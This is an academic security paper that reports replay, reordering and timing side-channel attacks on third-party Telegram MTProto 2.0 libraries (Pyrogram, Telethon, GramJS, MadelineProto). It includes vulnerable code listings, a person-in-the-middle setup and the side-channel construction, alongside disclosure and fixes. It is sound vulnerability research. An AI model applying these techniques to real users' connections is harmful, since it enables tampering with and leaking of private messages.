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Abstract—Telegram is a popular messenger with more than 550
million monthly active users and a large ecosystem of different
clients. Telegram has its own bespoke transport layer security
protocol, MTProto 2.0. This protocol was recently subjected
to a detailed study by Albrecht et al. (IEEE S&P 2022). They
gave attacks on the protocol and its implementations, along
with a security proof for a modified version of the protocol.
We complement that study by analysing a range of third-party
client implementations of MTProto 2.0. We report practical
replay attacks for the Pyrogram, Telethon and GramJS clients,
and a more theoretical timing attack against the MadelineProto
client. We show how vulnerable third-party clients can affect
the security of the entire ecosystem, including official clients.
Our analysis reveals that many third-party clients fail to
securely implement MTProto 2.0. We discuss the reasons for
these failures, focussing on complications in the design of
MTProto 2.0 that lead developers to omit security-critical
features or to implement the protocol in an insecure manner.
We also discuss changes that could be made to MTProto 2.0
to remedy this situation. Overall, our work highlights the
cryptographic fragility of the Telegram ecosystem.

1. Introduction

Messenger services have become an indispensable tool
to billions of people. Telegram is one of the most popular
messenger services: Telegram reached 500M monthly active
users in January 2021 [1] and 550M by October 2021 [2],
making it the fifth most popular messenger service globally.
Telegram is not only popular for everyday messaging, but
is also widely used by activists and political protestors for
group organization [3].

Telegram’s increasing popularity has recently drawn the
attention of the cryptographic community. Of particular
interest is Telegram’s transport protocol MTProto which acts
as the equivalent to the TLS record protocol and is the only
security mechanism protecting messages in transit between
Telegram servers and clients. Prior work has shown multiple
attacks against an earlier version of MTProto [4, 5]. In a
recent paper, Albrecht et al. [6] presented the first in-depth
analysis of MTProto 2.0. Their work had two complemen-
tary aspects. First they showed four different attacks, two
of them at the protocol specification level, and two against
specific MTProto 2.0 implementations in official clients.
Second, they provided a cryptographic proof of security of a

slightly modified version of MTProto 2.0, albeit under previ-
ously unstudied cryptographic assumptions. Altogether, [6]
has substantially increased our understanding of the security
of Telegram’s core MTProto 2.0 protocol.

As opposed to other chat platforms such as WhatsApp,
the source code of Telegram’s official clients is publicly
available (though the server source code is not). Further-
more, Telegram allows and encourages developers to imple-
ment and deploy custom clients: the Telegram web pages
provide detailed information about the server APIs [7], the
MTProto 2.0 protocol [8], and the custom schema used [9].
Consequently, there is a flourishing implementation ecosys-
tem around Telegram. The number of available clients and
libraries as well as their popularity is hard to estimate,
but Telegram already lists 13 clients on the official web-
page [10].

Another vital part of the Telegram ecosystem are bots
which can interact with other services such as email,
YouTube, payments, and games. Therefore, Telegram cannot
be regarded as an isolated platform with the sole purpose of
exchanging text messages. Rather, it is developing towards
being a system that connects multiple, different services
and offers users a simple way of interaction. Clearly, this
further underlines the importance of having a correctly
implemented, secure protocol at its core.

The vulnerabilities in MTProto 2.0 in various official
clients highlighted in [6] suggest that third-party imple-
mentations of MTProto 2.0 might also contain security
flaws. It is plausible that these flaws might be more severe
than those presented in [6], given the unregulated nature
of the ecosystem and the well-documented propensity of
non-expert developers to make mistakes when implement-
ing complex cryptographic protocols. Moreover, the diverse
and complex collection of available Telegram clients and
libraries potentially opens new attack vectors: vulnerable
third-party clients could be used to harm users of official
clients. Consequently, the ease with which secure imple-
mentations of MTProto 2.0 can be built is essential to the
security of the entire ecosystem.

1.1. Contributions

In this paper, we present multiple attacks against third-
party Telegram client implementations of MTProto 2.0. We
show how vulnerabilities in third-party clients affect the
security of the entire ecosystem. While the attacks are not



particularly novel from a technical perspective, we consider
their presence to be surprising. We explain how certain
design choices in MTProto 2.0 make implementations prone
to errors and open these implementations up to known attack
vectors.

Our first contribution, presented in Section 4, is a replay
attack against two Python libraries (Pyrogram, Telethon)
and a JavaScript library (GramJS). The vulnerabilities arise
from those implementations failing to implement a set of
checks on the message ID field that are required in the
Telegram documentation for client developers. These checks
are designed to ensure that every message is processed
exactly once. We describe a practical replay attack for
exemplary clients in a real-world setting. The vulnerable
Python libraries Pyrogram and Telethon are quite popular:
by the time of writing they have 2.4K and 6.2K stars on
GitHub, respectively, and are, according to GitHub, used by
39.2K and 25.9K other projects, respectively. While GramJS
is less popular (379 stars), it is used in one of the official
clients (Telegram Web Z). Due to its use of WebSockets
over TLS 1.3, Telegram Web Z was not vulnerable to the
replay attack.

As a second contribution, we present in Section 5 a
timing side-channel attack against MTProto 2.0 decryption
in the PHP library MadelineProto. The attack is similar to
the one described in [6], but differs in its details to match our
specific target. It exploits the way in which the encrypt-and-
MAC scheme employed by MTProto 2.0 is implemented in
MadelineProto: the code does not check the integrity of the
plaintext directly after decryption, but first performs sanity
checks on the unauthenticated plaintext and only then checks
integrity. Notably, this approach ignores advice aimed at
developers in the Telegram security guidelines [11].

Depending on the input, the message processing time
differs significantly. This allows an attacker to learn some
parts of the plaintext. We evaluate the timing differences
that arise, implement the attack in a synthetic setting, and
evaluate the attack’s limitations. We consider the attack
to be mostly of theoretical interest: for an arbitrary target
block mi, the attacker has to know the previous plaintext
block mi−1 as well as m1 which contains the 64-bit values
server salt and session id. As noted in [6], it is indicated
in the Telegram protocol description [12] that these values
are not intended to be treated as sensitive values, and it is
possible they could be revealed in future implementations.
On the other hand, the attack in [6] that enables the attacker
to learn them by attacking the MTProto 2.0 key exchange
protocol is likely not to be possible any longer due to server-
side changes made by Telegram.

We discuss how these vulnerabilities in third-party
clients affect the security of the entire Telegram ecosystem:
security issues arise because of the flexibility with which
Telegram can be used, and these issues go beyond pure
messaging applications.

As a third contribution, in Section 6 we address a more
fundamental question: how can security be guaranteed in a
proliferating ecosystem? This question is prompted by the
vulnerabilities in several official clients noted in [6] and the

new ones we report here. The replay and reordering attacks
are examples of fundamental, yet easy-to-defend-against
attacks on a protocol level. The reported issues do therefore
collectively indicate that Telegram’s MTProto 2.0 protocol
is hard to implement in a secure manner. Specifically, we
highlight two design choices that hinder secure implementa-
tion: the use of encrypt-and-MAC and the complex checks
on the message ID field. We suggest how to simplify these
design choices and lower the implementation hurdles for
developers.

Telegram presents yet another example of the challenges
of ensuring security in an open ecosystem. In this sense,
the situation is broadly analogous to what we have seen
over the last decade in the spheres of mobile banking [13],
SSL/TLS [14, 15, 16], certificate validation [17], and (at
a much lower level) primality testing [18]. Indeed, the
problem of building a secure communications channel is
an ancient one that is by now well-understood at a theo-
retical level by the research community. Yet it is a largely
open problem in the cryptographic community – interpreted
broadly, to include both researchers and developers – to
find ways of ensuring that this theoretical understanding
is properly translated into practice. The problems arise at
multiple levels: at the lowest level of ensuring that strong
cryptographic algorithms are used, to the middle level of
ensuring that these algorithms are combined in suitable ways
to build more complex systems like secure channels, to the
highest level, of ensuring that a protocol specification is
simple enough that it can be securely implemented in an
ecosystem populated with developers without cryptographic
expertise.

1.2. Disclosure

We informed the maintainers of the vulnerable libraries
about our findings in the week of 20 November 2021 by
e-mail, proposing a standard 90-day disclosure window. In
each case, as well as explaining the discovered vulnerabili-
ties, we also recommended fixes and highlighted the missing
checks.

MadelineProto’s developer informed us that as of version
6.0.118 the timing side-channel vulnerability was fixed.
Shortly after the release 6.0.118, MadelineProto rolled out
the major update 7.0 which is declared mandatory for all
MadelineProto users.

The maintainer of GramJS fixed the replay vulnerability
inversion 1.11.1, but without giving any notice of the issue
to users of GramJS. We also informed Telegram’s security
team about the vulnerability in GramJS, since it is used in
the official client Telegram Web Z. We were informed that
Telegram Web Z uses the latest version of GramJS including
the fix for the vulnerability we disclosed. Telegram awarded
a bug bounty.

The maintainer of Telethon confirmed receipt of our
disclosure e-mail. Since the vulnerability was not fixed by
the end of the 90-day disclosure window, we offered our
help in another e-mail and informed the maintainer that we
would publicly disclose the vulnerability. As we did not



receive an answer, we then opened a public GitHub issue in
which we described the attack. At the time of writing, the
issue is still open and remains unaddressed [19].

The maintainer of Pyrogram deployed the security fixes
in version 1.3. The vulnerability is mentioned in the release
notes and all users are strongly encouraged to update.

During our research, we analysed six more clients and
libraries for similar kinds of vulnerability: Kotatogram-
Desktop, Nicegram, Telegram React, Telegram Web K, Tele-
gram Web Z, Telegram-FOSS, and Unigram. However, we
did not find any further vulnerabilities in these clients.

2. Preliminaries

We closely follow the conventions and definitions of [6],
but removing complexity that is unnecessary for our presen-
tation.

For any string x ∈ {0, 1}⋆, let |x| denotes its bit-length,
x[i] denote its i-th bit for 0 ≤ i < |x|, and x[a : b] =
x[a]...x[b − 1] for 0 ≤ a < b ≤ |x|. Furthermore, let x[a :
] = x[a : |x|] and x[: b] = x[0 : b]. For two strings x, y ∈
{0, 1}⋆, we define x||y as their concatenation. In algorithms,
let x← v denote the assignment of the value v to a variable
x.

2.1. IGE block cipher mode of operation

Let E : {0, 1}k × {0, 1}b → {0, 1}b be a block cipher
with k-bit key and b-bit block. We write EK(P ) to denote
the block cipher operation on b-bit plaintext block P with
k-bit key K. Let the Infinite Garble Extension (IGE) mode
of operation be defined with encryption and decryption as
in Algorithms 1 and 2, respectively. A visualization of
the decryption can be seen in Fig. 1. The inputs to the
algorithms are the secret key K, the initialization vectors
(IVs) m0 and c0, and the plaintext m, respectively the
ciphertext c.

We require that the plaintext m and the ciphertext c have
a size divisible by the block length b. For a bit string x we
write x = x1||...||xn such that ∀i |xi| = b to indicate the
different blocks of x. Here, we implicitly set n = |x|

b .

Algorithm 1 IGE[E].Enc(K,m0, c0,m)

1: for i = 1, ..., n do
2: ci ← EK(mi ⊕ ci−1)⊕mi−1

3: return c1||...||cn

Algorithm 2 IGE[E].Dec(K,m0, c0, c)

1: for i = 1, ..., n do
2: mi ← E−1

K (ci ⊕mi−1)⊕ ci−1

3: return m1||...||mn

We further define the AES-256-IGE symmetric encryp-
tion: we let E be the Advanced Encryption Standard (AES)
block cipher with block length b = 128 and key length

E
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c1

E
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K
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· · · · · · E
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Figure 1: IGE decryption with c0 = IVc and m0 = IVm.

k = 256 as defined in [20]. Then let AES-256-IGE describe
the symmetric encryption and decryption as defined in Al-
gorithms 1 and 2.

2.2. Attack scenario and targets

For all of our attacks, we consider the active person-in-
the-middle (PitM) scenario: the attacker is able to arbitrarily
drop, reorder and inject TCP messages. The attacker only
sees the encrypted MTProto 2.0 packets but can compose
arbitrary (potentially invalid) ciphertexts and send those to
the client.

This scenario is indeed realistic: first, TCP does not pro-
vide any security guarantees against malicious modification
of TCP packets. Second, the requirements can be relatively
easily fulfilled in a real world setting, e.g., by seducing the
victim to use a malicious Wi-Fi access point [21].

The attacker’s goal is twofold: for the replay attack in
Section 4, the attacker wants to alter the meaning of a
conversation for at least one participant. For the timing side-
channel attack in Section 5, the attacker’s goal is to learn
some bits of the target plaintext.

Tables 1 and 2 show the complete set of clients and
libraries that we analysed in this work for the vulnerabilities
mentioned above. The analysis was done by looking at the
source code and – in case of vulnerabilities – by exploiting
them in a simulated environment.

TABLE 1: Analysed clients. “⋆” denotes the number of
stars on GitHub and is a rough indicator for the popularity.
Clients marked with “*” are officially supported by Tele-
gram.

Name ⋆ Upstream Library

Kotatogram-Desktop 542 Telegram Desktop -
Nicegram 297 Telegram-iOS -
Telegram React 1.8K - TDLib
Telegram Web K* 449 - -
Telegram Web Z* 1.1K - GramJS
Telegram-FOSS 1.6K Telegram (Android) -
Unigram 2K - TDLib



TABLE 2: Analysed libraries. “⋆” denotes the number of
stars on GitHub and is a rough indicator of the popularity.
“Used by” indicates the number of projects on GitHub
which depend on the library. For TDLib this number is not
available. The only officially supported library (marked with
“*”) is TDLib.

Name ⋆ Used by Language

GramJS 379 580 JavaScript
MadelineProto 1.9K 167 PHP
Pyrogram 2.4K 39.2K Python
TDLib* 4.5k - C++
Telethon 6.2K 25.9K Python

3. Description of the symmetric part of MT-
Proto 2.0

We have chosen to focus messages in cloud chats which
are the default setting in Telegram and are, according to
Telegram’s founder Pavel Durov, “designed for the majority
of users” [22]. End-to-end encrypted secret chats are, in con-
trast to cloud chats, not available in all official clients [23].

The messages in cloud chats are not end-to-end en-
crypted but only encrypted between the server and the client.
We focus on the symmetric part of MTProto 2.0 as described
in [12]. The symmetric part of MTProto 2.0 is Telegram’s
equivalent to the TLS record protocol. We refer to [12] for
a detailed description of the asymmetric part.

MTProto 2.0 aims to guarantee security for application
layer messages. The reliable transport protocol TCP is spec-
ified for transport of MTProto 2.0. While the unreliable
transport protocol UDP is listed as another option, it is
neither further specified nor does it seem to be used in
any implementations [8]. We stress, that TCP (as well as
UDP) cannot provide any security guarantees and therefore
– without any further defence mechanisms such as TLS or
MTProto 2.0 – the payload can be arbitrarily manipulated.
Furthermore, MTProto 2.0 specifies optional transport ob-
fuscation which mainly aims to bypass censorship and does
not increase the security on a cryptographic level. There
are more options available for transport such as HTTPS
or WebSockets over TLS which involve another layer of
encryption. However, the security of MTProto 2.0 cannot
rely on the presence of such additional layers since they are
only optional or available in certain settings.

3.1. MTProto 2.0 Encryption

The payload p of a MTProto 2.0 message consists of
the fields described in Table 3. The server salt and the
session id in the first block are identifiers that are valid
for multiple messages in a given time period respectively in
the same session. The second block contains metadata with
validity limited to the given message. Finally, the remaining
blocks contain the actual message data and random padding
with size between 12B to 1004B.

For a given plaintext m with blocks m1||m2||...||mn,
we denote the values obtained by parsing m into the fields

TABLE 3: MTProto payload format [6]. The horizontal lines
mark the boundaries of the 128 bit blocks.

Field Type Description

server salt int64 Server-generated random number valid in
a given time period.

session id int64 Client-generated random identifier of a
session under the same auth key.

msg id int64 Time-dependent identifier of a message
within a session. Approximately equal to
Unix time multiplied by 232.

msg seq no int32 Message sequence number.
msg length int32 Length of msg data in bytes.

msg data bytes Actual body of the message.
padding bytes 12 - 1024B of random padding.

defined in Table 3 as server salt(m1), session id(m1),
msg id(m2), msg seq no(m2), msg length(m2), as
well as the remaining msg data(m3||...||mn) and
padding(m3||...||mn), respectively.

After the asymmetric key establishment, the server and
the client have established a common secret: the auth key.
It is used to derive the auth key id, the msg key, and the
final ciphertext c. The encryption is visualised in Fig. 2 and
explained in the following lines. Let x = 0 for messages
sent by the client and x = 64 for messages sent by the
server.

The hash of auth key is computed as

auth key id := SHA-1(auth key)[96 : 160] (1)

and used to uniquely identify an authorization key for both
the server and the client.

The message authentication code (MAC) of the payload
p is computed as

h :=SHA-256(auth key[704 + x : 960 + x]||p) (2)
msg key :=h[64 : 192] (3)

and allows the receiver to verify that the sent plaintext was
not tampered with. The auth key id and the msg key are
sent in plain as external headers. Together with the auth key,
the msg key is used as an input to the key derivation
function (KDF) to compute the key and the IV for the
symmetric encryption (SE):

A := SHA-256(msg key||auth key[x : 288 + x]) (4)
B := SHA-256(auth key[320 + x : 608 + x]||msg key)

(5)
key := A[0 : 64]||B[64 : 192]||A[192 : 256] (6)

iv := B[0 : 64]||A[64 : 192]||B[192 : 256] (7)

Finally, the encrypted data c is computed using AES-256 in
IGE mode:

c := AES-256-IGE(key, iv, p) . (8)
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Figure 2: Overview of message processing in MTProto 2.0.
Note that only parts of auth key are used in MAC and KDF.
This figure is a modified copy from [6].

3.2. Required checks on metadata

When receiving a message, the client has to perform the
following checks, according to [11]:

(C1) Directly after decryption, the client must check that
msg key be equal to the SHA-256 hash of the plaintext.
To prevent timing side-channel attacks, this check has
to be done independently of any previous errors that
may have arisen.

(C2) The client must check that msg length be not bigger
than the total size of the plaintext. The size of the
padding is computed as the difference between the
total size of the plaintext and msg length and has to
be within the range from 12B to 1024B.
The msg length has to be divisible by four and non-
negative.

(C3) The client must check that the session id in the de-
crypted message is equal to the one of an active session.

(C4) The client must check the validity of msg id:
(C4.1) The client must check that msg id is odd.
(C4.2) The client must store the msg id of the last N

received messages. Here, the value of N is not spec-
ified [11]. 1 The client must check that an incoming
msg id is not smaller than all N stored message IDs
and that msg id is not already stored.

(C4.3) Furthermore, the client must ignore msg id values
which are more than 30 seconds in the future or
more than 300 seconds in the past.

In case of a failure, the client has to discard the message
and should close and re-establish the TCP connection to the
server.

1. Official implementation use different values: Telegram Desktop [24]
uses N = 400, TDLib [25] uses N = 2000.

4. Replay attack

4.1. Description of the vulnerability

In a replay attack, an attacker can resend certain mes-
sages and fool the receiver into believing that both messages
originate from the sender. While the attacker cannot read
the messages, it is a simple yet powerful attack to mod-
ify conversations. By leveraging patterns in communication
and stereotypical message lengths (only partially hidden
by variable-length padding), the attacker can decide which
messages to target, improving the effectiveness of such an
attack [26]. Here, we omit these fingerprinting steps and
focus on demonstrating the general feasibility of a replay
attack.

To prevent against replay attacks in MTProto 2.0, re-
ceivers must perform the check (C4.2) discussed in Sec-
tion 3.2. Namely, the receiver has to ensure that no two mes-
sages with the same msg id are processed. During our anal-
ysis we discovered that the following third-party libraries
miss the relevant checks: the Python libraries Pyrogram
[27] and Telethon [28], as well as the JavaScript library
GramJS [29]. The relevant code snippets can be seen in
Listings 1 to 3. Pyrogram only checks that the msg id is odd.
Telethon and GramJS do not even check this. Furthermore,
Telethon and GramJS both include comments that hint at
the missing checks.

While Pyrogram and Telethon appear to be indepen-
dent projects, the core of GramJS is completely based on
Telethon. The relevant lines in the code only differ in syntax.
Table 2 shows the popularity of the libraries on GitHub.
Even though GramJS is not that popular, it is used by one
of Telegram’s official web clients, Telegram Web Z [33].

An attacker can perform a replay attack against a client
using any one of these three libraries: the attacker records an
encrypted message from the server to the client and replays
it at a later point in time. Both messages will appear valid
to the victim.

4.2. Attack implementation

To experimentally verify the presence of the vulner-
ability, we implemented clients using the libraries above
(c.f. Listings 5 to 7 in Appendix A). To exploit the attack
we configure the clients to route all traffic to a local proxy
server. For the proxy server, we use mitmproxy [34] with
the add-on shown in Listing 8 to easily record and replay
specific TCP packets. Instead of injecting additional TCP
packets we replace the content of every second TCP packet
containing a text message with the previous one. This facil-
itates the attack since we neither have to update all TCP
sequence numbers, nor do we need to handle additional
acknowledgement packets.

Figure 3 illustrates the attack: the sender Alice sends two
different messages which arrive correctly at the Telegram
server. The Telegram server decrypts, re-encrypts and for-
wards the messages to the proxy to which Bob is connected.
The malicious proxy is run by the attacker Mallory. Mallory



Listing 1: mtproto.py. Message processing in Pyrogram
[30]. Modified for readability.

1 def unpack(b: BytesIO, session_id: bytes, auth_key
: bytes, auth_key_id: bytes) -> Message:

2 # [...]
3 data = BytesIO(aes.ige256_decrypt(b.read(),

aes_key, aes_iv))
4 # [...]
5 message = Message.read(data)
6 # [...]
7 # https://core.telegram.org/mtproto/

security_guidelines#checking-msg-id
8 assert message.msg_id % 2 != 0
9 return message

Listing 2: mtprotostate.py. Message processing in
Telethon [31]. Modified for readability.

1 def decrypt_message_data(self, body):
2 # TODO Check salt, session_id and

sequence_number
3 # [...]
4 body = AES.decrypt_ige(body[24:], aes_key,

aes_iv)
5 # [...]
6 reader = BinaryReader(body)
7 reader.read_long() # remote_salt
8 if reader.read_long() != self.id:
9 raise SecurityError(’Wrong session ID’)

10 remote_msg_id = reader.read_long()
11 remote_sequence = reader.read_int()
12 reader.read_int() # msg_len
13 obj = reader.tgread_object()
14 return TLMessage(remote_msg_id,

remote_sequence, obj)

Listing 3: MTProtoState.ts. Message processing in
GramJS [32]. Modified for readability.

1 async decryptMessageData(body: Buffer) {
2 // [...]
3 // TODO Check salt,sessionId, and

sequenceNumber
4 const keyId = helpers.readBigIntFromBuffer(

body.slice(0, 8));
5 // [...]
6 body = new IGE(key, iv).decryptIge(body.slice

(24));
7 // [...]
8 const reader = new BinaryReader(body);
9 reader.readLong(); // removeSalt

10 const serverId = reader.readLong();
11 if (serverId !== this.id) {
12 // throw new SecurityError(’Wrong session

ID’);
13 }
14 const remoteMsgId = reader.readLong();
15 const remoteSequence = reader.readInt();
16 reader.readInt(); // msgLen
17 // [...]
18 const obj = reader.tgReadObject();
19 return new TLMessage(remoteMsgId,

remoteSequence, obj);
20 }
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Figure 3: Overview of the replay attack. The symbols “#”
and “#” denote two different messages.

records the first message (#) and replaces the TCP payload
of the second packet (#) with the recorded message. Hence,
Bob receives the same message twice.

The attack was successful against all three of the tested
libraries. However, the attack does not apply to Tele-
gram Web Z. The reason is, that Telegram Web Z uses
WebSockets over TLS 1.3 for the transport layer. Hence,
MTProto 2.0 is run on top of TLS 1.3. While the imple-
mentation of MTProto 2.0 cannot prevent replay attacks,
this is – luckily – done by TLS 1.3.

Not all clients which use a vulnerable library are au-
tomatically vulnerable to the replay attack. As messages
come with an integrity-protected time-stamp that is set
by the Telegram server, some clients then use this time-
stamp to store the message in an internal data structure that
allows only one message with a given time-stamp. Hence, a
replayed message is not displayed twice. Nevertheless, the
security of a library should not depend on requirements that
are not specified.

We stress that the attack only applies for messages sent
from the Telegram server to a vulnerable client. The attacker
cannot replay messages sent by a vulnerable client since the
Telegram servers correctly defend against replay attacks.

4.3. Wider impacts of replay attacks

The attack is even more powerful when a vulnerable
library is used to implement the control of, e.g., a server.
Telminal [35] is such a program based on Telethon. Instead
of sending commands over a Secure Shell (SSH), the user
sends the commands over Telegram messages. If the user
for example sends the command to remove the first entry
of a database, the attacker can flush the entire database
by repeatedly replaying the command. While Telminal is
currently a niche application (only 20 stars on GitHub), it
illustrates a potential future attack vector.

Other interesting settings include message forwarding
from Telegram to WhatsApp and vice versa [36] (based on



GramJS), cryptocurrency trading [37] (based on GramJS),
as well as bots that broadcast a received message [38]
(based on Pyrogram). In the broadcast setting, the client
automatically wraps the received message content into a
new message and broadcasts it via the Telegram server to
multiple receivers. Since all messages appear to be new
and independent of the previous ones, all clients will accept
them and process them normally. In particular, there is no
cryptographic defence that allows the clients receiving the
broadcast message to recognize that an attacker has replayed
the original message.

While not tested in practice, these examples show that
the mere possibility of interaction of a vulnerable client with
other clients translates the security risk of a vulnerable third-
party client to the entire Telegram ecosystem, including
official clients. Consequently, Telegram has a strong interest
to improve the security of third-party clients.

4.4. A note on reordering attacks

In a reordering attack, the attacker aims to modify the
order of the received messages. The attack is similar to the
replay attack: record and hold back the first message, let
the second message pass and finally release the withheld
message. Again, the meaning of a conversation can be
significantly altered.

We tested this attack against Pyrogram, Telethon, and
GramJS. All of them are vulnerable to the reordering at-
tack as well. The used add-on for mitmproxy is shown in
Listing 9.

A reordering attack is generally considered a serious
weakness and similar protocols such as TLS or the Signal
messaging protocol successfully defend against this type of
attack. However, this vulnerability is not a violation of the
security guarantees specified by [11]: unless N = 1, the
check (C4.2) on the msg id does not force message IDs to be
strictly monotonically increasing and therefore messages can
be processed out of order [6]. As noted by [6], the reordering
vulnerability is inherent to the cryptographic specification
and is in official Telegram clients only defended against at
the application level.

While Telegram could argue that reordering attacks are
not a concern because official clients are effectively not
vulnerable to them, the argument does not hold for library
implementations. The implementer of the library simply
cannot know how their library will be used by applications.
Hence, assuming the library provides a reasonable amount
of flexibility to its users, no general security guarantees
that rely on the application level can be given. This shows
that the reordering attack should be defended against by
MTProto 2.0 itself.

5. Timing side-channel attack on Madeline-
Proto

The fact that three official Telegram clients were found
to be vulnerable to a timing side-channel attack in [6] led

us to suspect that some third-party clients and libraries
might be vulnerable to a similar attack. In fact, aside from
MadelineProto, none of the implementations of MTProto 2.0
listed in Tables 1 and 2 were found to be vulnerable to a
timing side-channel attack.

In the remainder of this section, we focus on Made-
lineProto. We first recapitulate the core idea of the attack
from [6], and then explain in depth how our adaptation of
this attack to MadelineProto functions.

5.1. Attack idea

For a given ciphertext c1||...||cn corresponding to an
unknown plaintext m1||...||mn and an arbitrary target block
mi with 2 ≤ i ≤ n, the attacker’s goal is to learn some bits
of mi. For a successful exploit of the timing side-channel
attack, we need additional assumptions on the knowledge of
the attacker. Specifically, the attacker needs to know both
m1 and mi−1.

Recall that in MTProto 2.0, m1 contains the server salt
and session id fields. While these were not intended to be
secrets, nor are they sent in plaintext at any point in the
protocol. The more complex attack on the MTProto 2.0 key
exchange protocol described in Section F of [6] allows an
attacker to learn server salt and session id. Even though
this attack is hard and likely not possible any longer due to
server-side changes by Telegram, there might be a successful
attack against m1 in the future. An additional argument in
favour of assuming m1 is known is that the security of a
secure channel protocol like MTProto 2.0 should not rest on
maintaining the confidentiality of a specific plaintext block:
the design goal of such a protocol should be to protect all
of the plaintext data all of the time.

The requirement for the attacker to know mi−1, the
plaintext block preceding the target block, is a weaker one.
This is because general plaintext blocks often contain stereo-
typical values. Consider for example the situation where
mi−1 = “Today’s password” and mi = “is SECRET”. In
general, we consider this assumption to be realistic.

The attacker then creates a two-block ciphertext c1||c⋆
with c⋆ = ci⊕mi−1⊕m1. The decryption of this ciphertext
is m1||m⋆ where:

m⋆ = E−1
K (c⋆ ⊕m1)⊕ c1 (9)

= E−1
K (ci ⊕mi−1)⊕ c1 (10)

= mi ⊕ ci−1 ⊕ c1 . (11)

Consequently, if there is a side-channel that allows an
attacker to learn some bits of the second block (containing
m⋆), then the attacker can learn the corresponding bits of
mi by using Eq. (11). The key insight from [6] is that this
second block is interpreted as containing the packet length
field, and that field may be sanity checked prior to the
MTProto 2.0 MAC being verified. The success or failure of
the sanity checking may be visible through timing behaviour
of the client, so leaking some information about m⋆, and
hence about mi.



5.2. MadelineProto

MadelineProto is a PHP library that implements a MT-
Proto 2.0 client. The library is officially listed on Telegram’s
webpage as an exemplary implementation [8]. The library
can be used for multiple purposes including voice over
IP (VoIP) webradio, downloading files and controlling a
server [39].

5.2.1. Message processing. When receiving a packet,
MadelineProto processes it as follows (c.f. Listing 4):

1) Check whether received auth key id matches the com-
puted one.

2) Reduce the ciphertext such that its size is a multiple of
16B.

3) Decrypt the ciphertext.
4) Check the session id according to (C3).
5) Check the msg id mostly following (C4), see [40].
6) Check the validity of the packet length according

to (C2). Here, the padding size is computed as the
difference between the length of the ciphertext and
msg length.

7) Check the integrity of the decrypted data (C1) by
comparing the received msg key with the computed
one.

The reduction of the ciphertext to a multiple of 16B by
removing at most 15B is a leftover from the implementation
of a previous version of MTProto. 2 The restriction of
ciphertexts being a multiple of 16B arises from the use of
AES with block size 16B. However, instead of this reduc-
tion, the client could directly reject a malformed message
since it must have been tampered with.3

The operations between decryption at step 3 and the
integrity check at step 7 in MadelineProto are carried out on
unauthenticated data. Thus, an attacker can supply a forged
ciphertext with a valid auth key id and session id which
will be processed until a failure occurs. Consequently, if the
attacker can differentiate between different failure types, it
can tell whether the checks on the packet length field (C2)
executed at step 6 have passed or failed. Since the packet
length field is contained in the second plaintext block, and
this can be replaced by m⋆ = mi ⊕ ci−1 ⊕ c1 in the attack,
the success or failure of these checks may allow the attacker
to learn some bits of the targeted message mi.

As we show in the next section, the difference between
a failure in a msg id, msg length and a msg key are indeed
observable by measuring the client’s processing time. Not
only does the processing time differ for different failure
types, but the TCP connection is re-established as well.

2. This leads to a trivial attack in the indistinguishability under chosen
ciphertext attack (IND-CCA) model! The adversary can trivially extend a
challenge ciphertext with random bits of its choice to make a new ciphere-
text, and then submit it for decryption. While theoretically interesting, this
does not lead to a practical attack against MTProto 2.0.

3. This is a special case where the early abortion and the skipped
computation of msg key do not allow an attacker to learn new information
about the plaintext.

Listing 4: Message processing in Madeline-
Proto [41]. Modified for readability. $seq_no and
$message_data_length correspond to msg seq no
and msg length respectively.

1 public function readMessage(): \Generator {
2 # [...]
3 $auth_key_id = yield $buffer->bufferRead(8);
4 # [...]
5 if ($auth_key_id === $shared->getTempAuthKey()->

getID()) {
6 # [...]
7 $encrypted_data = yield $buffer->bufferRead(

$payload_length - 24);
8 $protocol_padding = \strlen($encrypted_data) %

16;
9 if ($protocol_padding) {

10 $encrypted_data = \substr($encrypted_data,
0, -$protocol_padding);

11 }
12 $decrypted_data = Crypt::igeDecrypt(

$encrypted_data, $aes_key, $aes_iv);
13 # [...]
14 $message_id = \substr($decrypted_data, 16, 8);
15 $connection->msgIdHandler->checkMessageId(

$message_id, [’outgoing’ => false, ’
container’ => false]);

16 $seq_no = \unpack(’V’, \substr($decrypted_data
, 24, 4))[1];

17

18 $message_data_length = \unpack(’V’, \substr(
$decrypted_data, 28, 4))[1];

19 if ($message_data_length > \strlen(
$decrypted_data)) {

20 throw new \SecurityException(’
message_data_length is too big’);

21 }
22 if (\strlen($decrypted_data)-32-

$message_data_length < 12) {
23 throw new \SecurityException(’padding is

too small’);
24 }
25 if (\strlen($decrypted_data)-32-

$message_data_length > 1024){
26 throw new \SecurityException(’padding is

too big’);
27 }
28 if ($message_data_length < 0) {
29 throw new \SecurityException(’

message_data_length not positive’);
30 }
31 if ($message_data_length % 4 != 0) {
32 throw new \SecurityException(’

message_data_length not divisible by 4
’);

33 }
34 $message_data = \substr($decrypted_data, 32,

$message_data_length);
35 if ($message_key != \substr(\hash(’sha256’, \

substr($shared->getTempAuthKey()->
getAuthKey(), 96, 32).$decrypted_data,
true), 8, 16)) {

36 throw new \SecurityException(’msg_key
mismatch’);

37 }
38 }
39 # [...]
40 }



However, failure does not force a re-establishment of the
MTProto session, so the keys, the server salt and the ses-
sion id stay the same. Hence, many forged ciphertexts can
be sent in a single attack against a single target ciphertext
block ci, and these ciphertexts will all be decrypted and
further processed in the same way. So, many decryption
trials can be executed against a single target ci, allowing
noise in the timing measurements to be averaged out and
the timing signal to be amplified.

In turn, this makes it easier for an attacker to determine
the cause of failure, and hence determine whether checks
on the packet length field have passed or failed. Finally,
by executing enough trials, this makes it theoretically pos-
sible to recover some bits of mi in a reliable way. This
contrasts with the more common situation in such timing
attacks (e.g. for Lucky 13 [42]) where each error leads to a
session termination and keys being thrown away – in such
a situation, each target ciphertext block can only be tested
once, requiring the introduction of an additional assumption,
namely that the same plaintext target mi is repeated across
many sessions.

5.2.2. Practical timing experiments. By measuring the
response time, an attacker can estimate the time it takes
to process a message. To verify the existence of the timing
differences between failures of the msg id, the msg length
and the msg key checks, we measured the message pro-
cessing time in a simulated environment: we modified the
program to be synchronous and created a clean interface,
i.e., the messages are not sent over the network but passed
as arguments. We conducted the experiments on an Intel
i7-6500U processor running Linux-libre 5.10.72 at 2.5GHz
with turboboost and hyper threading both disabled.

Our results are visualized in Fig. 4 and key statistics
are shown in Table 4. The time difference arising between
failures of the msg length and msg id checks is due to the
additional SHA-256 computation in the case of a passing
msg length check. The size of this time difference linearly
depends on the payload size which is passed to SHA-256.
Even though the msg id checks are evaluated first, the
processing time is larger in case of a msg id failure. The
reason is, that msg id failures are logged which involves
relatively slow operations.

